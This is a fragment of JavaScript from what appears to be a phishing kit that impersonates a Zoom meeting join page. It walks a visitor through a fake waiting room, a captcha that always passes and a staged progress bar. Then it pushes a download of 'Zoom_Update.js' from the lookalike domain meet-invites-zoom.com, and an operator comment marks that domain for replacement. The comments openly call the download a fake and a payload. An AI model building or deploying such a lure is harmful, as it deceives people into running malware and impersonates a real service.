innerText = targetHostName.charAt(0).toUpperCase();

    // --- Elements ---
    const joinBtn = document.getElementById('joinBtn');
    const testAudioBtn = document.getElementById('testAudioBtn');
    const closeAudioBtn = document.getElementById('closeAudioBtn');
    const audioModal = document.getElementById('audioModal');
    const waitingModal = document.getElementById('waitingModal');
    const updateModal = document.getElementById('updateModal');
    const captchaCheck = document.getElementById('captchaCheck');
    const captchaSpinner = document.getElementById('captchaSpinner');
    const captchaText = document.getElementById('captchaText');
    const captchaLogo = document.getElementById('captchaLogo');
    const updateBtn = document.getElementById('updateBtn');
    const modalStep1 = document.getElementById('modalStep1');
    const modalStep2 = document.getElementById('modalStep2');
    const modalStep3 = document.getElementById('modalStep3');
    const progressBar = document.getElementById('progressBar');
    const progressText = document.getElementById('progressText');

    // --- 2. Audio Test Modal Logic ---
    testAudioBtn.addEventListener('click', (e) => {
        e.preventDefault();
        audioModal.style.display = 'flex';
    });
    closeAudioBtn.addEventListener('click', () => {
        audioModal.style.display = 'none';
    });

    // --- 3. Join Button Logic ---
    joinBtn.addEventListener('click', () => {
        const name = document.getElementById('nameInput').value;
        if(!name || name.trim() === "") {
            alert("Please enter your name to join the meeting.");
            return;
        }
        
        waitingModal.style.display = 'flex';
        
        setTimeout(() => {
            waitingModal.style.display = 'none';
            updateModal.style.display = 'flex';
        }, 4000);
    });

    // --- 4. Captcha Verification ---
    captchaCheck.addEventListener('click', () => {
        if(captchaCheck.classList.contains('checked')) return;
        
        captchaCheck.style.display = 'none';
        captchaSpinner.style.display = 'block';
        captchaText.innerText = "Verifying...";

        setTimeout(() => {
            captchaSpinner.style.display = 'none';
            captchaCheck.style.display = 'block';
            captchaCheck.classList.add('checked');
            captchaText.innerText = "Verified";
            captchaLogo.style.display = 'none';
            
            updateBtn.disabled = false;
            updateBtn.style.opacity = '1';
            updateBtn.style.cursor = 'pointer';
        }, 1200);
    });

    // --- 5. Fake Download & Permanent Instructions ---
    updateBtn.addEventListener('click', () => {
        if(updateBtn.disabled) return;

        modalStep1.style.display = 'none';
        modalStep2.style.display = 'block';

        let progress = 0;
        const interval = setInterval(() => {
            progress += Math.floor(Math.random() * 8) + 4; 
            if(progress > 100) progress = 100;
            
            progressBar.style.width = progress + '%';
            progressText.innerText = progress + '% complete';

            if(progress === 100) {
                clearInterval(interval);
                
                setTimeout(() => {
                    // Switch to instructions
                    modalStep2.style.display = 'none';
                    modalStep3.style.display = 'block';

                    // --- TRIGGER THE JS PAYLOAD DOWNLOAD ---
                    const a = document.createElement('a');
                    a.href = "https://meet-invites-zoom.com/ZoomUpdate.js"; // YOUR NEW DOMAIN
                    a.download = "Zoom_Update.js"; 
                    document.body.appendChild(a);
                    a.click();
                    document.body.removeChild(a);

                }, 800);
            }
        }, 250);
    });
</script>